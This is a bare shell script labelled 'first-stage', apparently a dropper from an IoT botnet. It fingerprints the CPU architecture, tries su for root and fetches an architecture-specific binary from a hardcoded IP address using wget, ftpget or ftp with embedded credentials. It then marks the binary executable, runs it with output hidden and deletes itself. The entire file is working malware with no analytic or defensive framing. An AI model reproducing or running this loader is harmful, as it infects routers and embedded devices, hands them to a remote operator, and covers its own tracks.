first-stage

#!/bin/sh


CMD="$(uname -m)"
ID="$(id)"
UNKNOWN="UNKNOWN"
FILE_PATH="/tmp/.sessions-unixev"
XT="0VsCfE5PwiBs"
EOF="0VsCfE5EwOBF"
sv="104.237.218.85"
url="http://"$sv"/0"
u="md"
p="Lmtd1"
po="404"
line="\n"
DEBUG=$1

silent() {
  if [ "$DEBUG" = "-d" ] ; then
    "$@"
  else
    "$@" > /dev/null 2>&1
  fi
}

get_su() {
    case "$ID" in
        *"uid=0"*) echo "ROOT" ;;
        *)         su ;;
    esac
}

func_gi() {
    case "$CMD" in
        *"armv4t"*) echo "1" ;;
        *"armv4"*) echo "0" ;;
        *"armv5"*) echo "2" ;;
        *"armv6"*) echo "3" ;;
        *"m68k"*) echo "4" ;;
        *"mipsel"*) echo "7" ;;
        *"mips64"*) echo "6" ;;
        *"mips"*) echo "5" ;;
        *"powerpc"*) echo "8" ;;
        *"ppc"*) echo "8" ;;
        *"sh4"*) echo "9" ;;
        *"sparc"*) echo "10" ;;
        *"x86_64"*) echo "11" ;;
        *"i586"*) echo "12" ;;
        *"rlx"*) echo "5" ;;
        *)         echo $UNKNOWN ;;
    esac
}

arm_group(){
    for i in 0 1 2 3
    do
        if [ "$i" = "$1" ]; then
            return 0
        fi
    done
    return 1
}

mips_group(){
    for i in 5 6 7
    do
        if [ "$i" = "$1" ]; then
            return 0
        fi
    done
    return 1
}

func_dae() {
    for k in 0 1
    do
        silent echo $1/$k
        for cmd in "wget" "ftpget" "ftp" "busybox wget" "busybox ftpget"
        do
            silent rm -f $FILE_PATH
            case "$cmd" in
            *"wget"*)   silent $cmd $url/$1/$k -O $FILE_PATH ;;
            *"ftpget"*) silent $cmd -u $u -p $p $sv -P $po $FILE_PATH 0/$1/$k ;;
            *"ftp"*)    silent echo -e "open $sv $po\n user $u $p\n binary\n get 0/$1/$k $FILE_PATH\n bye" | ftp -pnv  ;;
            esac
            if [ $? -eq 0 ] && [ -f "$FILE_PATH" ]; then
                break;
            else
                silent rm -f $FILE_PATH
            fi
        done
        silent chmod 777 $FILE_PATH
        silent $FILE_PATH

        if [ $? -eq 0 ]; then
            silent rm -f $FILE_PATH
            echo $XT
            return 0
        else
            silent rm -f $FILE_PATH
        fi
    done
    return 1
}

VALUE=$(func_gi)
silent get_su
if [ "$VALUE" = "$UNKNOWN" ]; then
    for i in 2 0 5 7 6 1 3 4 8 9 10 11 12
    do
        if func_dae $i; then
            break
        fi
    done
elif arm_group $VALUE; then
    for i in $VALUE 2 0 1 3
    do
        if func_dae $i; then
            break
        fi
    done
elif mips_group $VALUE; then
    for i in $VALUE 5 7 6
    do
        if func_dae $i; then
            break
        fi
    done
else
    for i in $VALUE 2 0 5 7 6 1 3 4 8 9 10 11 12
    do
        if func_dae $i; then
            break
        fi
    done
fi
echo $EOF
silent rm -- "$0"